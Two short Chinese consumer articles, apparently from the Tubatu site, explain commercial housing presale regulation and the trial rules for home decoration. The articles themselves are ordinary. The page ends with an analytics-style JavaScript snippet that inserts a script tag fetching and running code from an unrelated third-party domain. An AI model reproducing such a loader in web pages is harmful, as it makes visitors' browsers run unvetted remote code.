商品房预售管理办法的必要性及内容

导语：房子是很多国人的执念，每个人、每个家庭都想要一套属于自己的房子。那么，你对于买房的相关规定是否了解呢?能否规避买房过程中的陷阱呢?在这里，土巴兔小编为大家介绍商品房预售的相关知识，讲述购房有哪些陷阱。目前，买房时很多都需要先付一定的定金，这就是商品房的预售。在这过程中，为了利益会出现各种各样的问题，于是，就出现了商品房预售管理方法。接下来，小编会就商品房预售管理的必要性、内容进行讲解。商品房预售管理方法的必要性商品房预售时真正的房屋交接尚未形成，在这期间有很多漏洞可钻。为了尽可能的规避风险，规范市场，国家对商品房预售市场进行了干预，做出了相关规定。但是，商品房的预售会导致房价居高不下。首先，商品房预售能使开发商低成本占用各种资金，如银行资金、预缴款等，不需要承担建房的成本。其次，是预售会使开发商提前回收成本。这样，方便他们对房屋进行囤积或者是更快的进行下一个房屋开发计划。总之，房屋的预售将风险转嫁给了消费者和银行，会导致楼市虚假紧缺现象的发生，推动了房价的上涨，另外，房屋预售对还存在着一定的法律风险以及“道德风险”，消费者权益容易受到损害。这是由于预售合同双方在经济状况和信息咨询方面的不对等，还有相关部门管理的不完善以及执行过程中的影响。所以要规范市场，出台了商品房预售管理方法。商品房预售管理方法2004年7月，有关部门对城市商品房预售管理方法进行修正，加强商品房预售管理，使之更符合市场情况。在具体上，对适用范围、预售条件重新进行界定，列出了申请预售许可的相关资料、办理程序等，还有监管以及违约后的处理等。规定要在网上办理备案认证手续，对预售相关信息进行严格审查，使产权更为明晰。对商品房预售进行管理的最终目的是规范市场，对开发商新盘供应速度有所控制，维护消费者的利益。通过上述介绍，相信大家对商品房预售管理方法的必要性以及内容有所了解。土巴兔小编希望大家阅读这篇文章后能够有所帮助，避免在购房交定金时被骗，损害自己的利益。

家庭居室装饰装修管理试行办法包括哪些内容

为了规范装修市场环境，建设部出台了家庭居室装饰装修管理试行办法。那么，家庭居室装饰装修管理试行办法包括哪些内容呢？主要包括市场准入、工程质量、合同价格这三个部分。一、市场准入这个管理办法规定了想从事装修这个行业的条件。条件分为两类，一类是企业要具备建设部门颁发的资质证书，而且要在证书规定的范围内承揽业务。另一类是个体从业者虽然不需要资质证书，但也要向建设部门进行登记并参加啊培训，合格后持证上岗。不仅如此，企业和个人还要遵循一定的行业规则，才能进入装修这个市场从事相关活动。二、工程质量这个管理办法还对装修工程的质量进行了详细的规定。比如，居民除了自己进行简单装修以外，在进行大型装修时，必须选择有资质的企业和个人进行。再比如，装修时不能破环原有的建筑结构，不能拆除承重墙，不能破环防水层，不能私自增加地面的承重量，不能私自扩大门窗的面积，特别是阳台等重要部位。这些内容都是从业者需要严格遵守的。三、合同价格这个管理办法明确规定了装修无论工程量大小都应该签订正规的合同。合同不仅保护委托人的利益，也能很大程度地避免后期出现纠纷的可能。合同要写清楚在双方在实施过程中存在分歧时，采取什么措施进行协商解决。合同上还要注明委托人和受委托人的相关信息，还要写明此次装修的具体面积、材料种类、装修方式、质量要求、完成期限、整个费用等信息。家庭居室装饰装修管理试行办法不仅保护了打算进行装修的居民的合法权益，还使得整个装修行业更加的规范，是一部非常好的管理办法。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();